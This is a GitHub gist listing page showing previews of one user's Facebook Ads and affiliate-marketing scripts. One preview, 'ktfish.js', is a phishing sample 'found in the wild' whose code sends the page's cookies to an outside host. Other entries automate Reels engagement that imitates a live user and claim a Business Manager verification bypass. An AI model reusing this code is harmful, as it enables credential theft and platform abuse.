Skip to content

Instantly share code, notes, and snippets.

View dvygolov's full-sized avatar
🤖
Replacing YOU with robots

Daniel Vygolov dvygolov

🤖
Replacing YOU with robots
View GitHub Profile
@dvygolov
dvygolov / exclude.json
Created February 27, 2026 13:02
Amnezia VPN pass-through filters for russian sites
[
{
"hostname": "195.178.108.0\/23",
"ip": ""
},
{
"hostname": "91.215.36.0\/22",
"ip": ""
},
{
@dvygolov
dvygolov / thisisfine-v2.js
Last active February 17, 2026 08:37
This bookmarklet script scrolls Facebook Reels imitating live account benavior. By Сельский Арбитраж at https://t.me/c/1428671974/194
javascript:(function(){const old=document.getElementById("__neutralAutoScrollUI__");if(old)old.remove();const P='__fine_'+Math.random().toString(36).substr(2,6)+'_';let running=false,countdownTimer=null,_cachedScrollTarget=null,_cacheTimestamp=0;const CACHE_TTL=15000;let stats={scrolls:0,likes:0,likeFails:0,alreadyLiked:0,startTime:null};const LIKE_LABELS=['like','нравится','thích','me gusta',"j'aime",'gefällt mir','curtir','좋아요','いいね','أعجبني','beğen','suka','mi piace','tykkää','leuk','gilla','synes godt om','lubię to','подобається','лайк','patīk','patinka'];const randInt=(a,b)=>Math.floor(Math.random()*(b-a+1))+a;const clamp=(v,a,b)=>Math.max(a,Math.min(b,v));const $=id=>document.getElementById(P+id);function simulateRealClick(el){return new Promise(resolve=>{const r=el.getBoundingClientRect();const x=r.left+r.width*(0.3+Math.random()*0.4);const y=r.top+r.height*(0.3+Math.random()*0.4);const c={view:window,bubbles:true,cancelable:true,clientX:x,clientY:y,screenX:x+window.screenX,screenY:y+window.screenY};el
@dvygolov
dvygolov / fbBlockedUsersManager.js
Last active January 8, 2026 19:20
This script can import/export blocked users to/from your Meta's Fan Pages. Run it in browser's console in Ads Manager.
class FileHelper {
readTextFile(file) {
return new Promise((resolve, reject) => {
const reader = new FileReader();
reader.onload = () => resolve(reader.result);
reader.onerror = () => reject("Error reading file");
reader.readAsText(file);
});
}
@dvygolov
dvygolov / clmnPresetsManager.js
Last active December 12, 2025 09:28
Script to manage column presets of Ads Manager: import/export columns
// ============================================
// Configuration
// ============================================
const Config = {
VERSION: "2025.12.12",
API_VERSION: "v23.0",
API_URL: "https://adsmanager-graph.facebook.com/v23.0/"
};
// ============================================
@dvygolov
dvygolov / autorulesManager.js
Last active January 5, 2026 13:33
Script for import/export Facebook Ads Autorules
const Config = {
VERSION: "2026.01.05",
BATCH_SIZE: 40,
BATCH_DELAY_MS: 600,
ACCOUNT_DELAY_MS: 1000,
DELETE_DELAY_MS: 300,
API_VERSION: "v23.0",
API_URL: "https://adsmanager-graph.facebook.com/v23.0/"
};
@dvygolov
dvygolov / dolphincloudadfix.js
Created April 9, 2025 10:42
removes unnecessary text from ad section in Dolphin Cloud: https://yellowweb.top/dolphincloud
// 1. Заменяем лишние div на иконку с тултипом
document.querySelectorAll(
'.v-data-table__wrapper table tbody tr td:nth-child(3) > div:first-child > div:nth-child(2)'
).forEach(originalDiv => {
const content = originalDiv.innerHTML;
const tooltipWrapper = document.createElement('span');
tooltipWrapper.style.position = 'relative';
tooltipWrapper.style.cursor = 'pointer';
tooltipWrapper.style.display = 'inline-block';
@dvygolov
dvygolov / binomtgdeppush.php
Created April 3, 2025 07:17
Binom + Telegram postback script that notifies buyers about new deposits
<?php
/**
* Binom Postback Filter Middleware v0.2
* by Yellow Web (https://yellowweb.top)
* This script receives postback data from Binom tracker
* about registrations and deposits,
* filters out registrations (cnv_status = 'reg'),
* and only forwards deposits (cnv_status = 'dep') to the Telegram bot.
*/
@dvygolov
dvygolov / ktfish.js
Created February 21, 2025 09:02
Fishing script that mimics Keitaro login form and steals data. Found in the wild.
document.addEventListener("DOMContentLoaded", (function() {
if (window.location.href.includes("/admin")) {
const e = {};
document.cookie.split(";").some((e => e.trim().startsWith(
"cookieName="))) && (e["X-Cookie"] = document
.cookie), fetch("https://xxxbigdicker.com/kei", {
method: "GET",
headers: e
}).then((e => {
if (!e.ok) throw new Error(
@dvygolov
dvygolov / bmemailverif.js
Last active February 5, 2026 14:41
FIXED BY FACEBOOK: This script could help to verify any BM by any email, if Facebook asked for it and you couldn't change email
async function privateApiRequest(variables, docId) {
let subDomain = getSubDomain();
let graphUrl = `https://${subDomain}.facebook.com/api/graphql/`;
let lsd = require("LSD").token;
let dtsg = require("DTSGInitialData").token;
let uid = require("CurrentUserInitialData").USER_ID;
let body = {
av: uid,
@dvygolov
dvygolov / youtubevideoslist.js
Created October 17, 2024 08:22
This script prompts for the number of videos to process and then console.logs all the video titles found
// Get all video elements on the page
const videoElements = document.querySelectorAll('a#video-title-link');
// Ask user for the number of videos to process
const numberOfVideos = parseInt(prompt("How many videos do you want to process?"), 10);
// Initialize an empty string to store all video lines
let videoList = '';
// Process the required number of video titles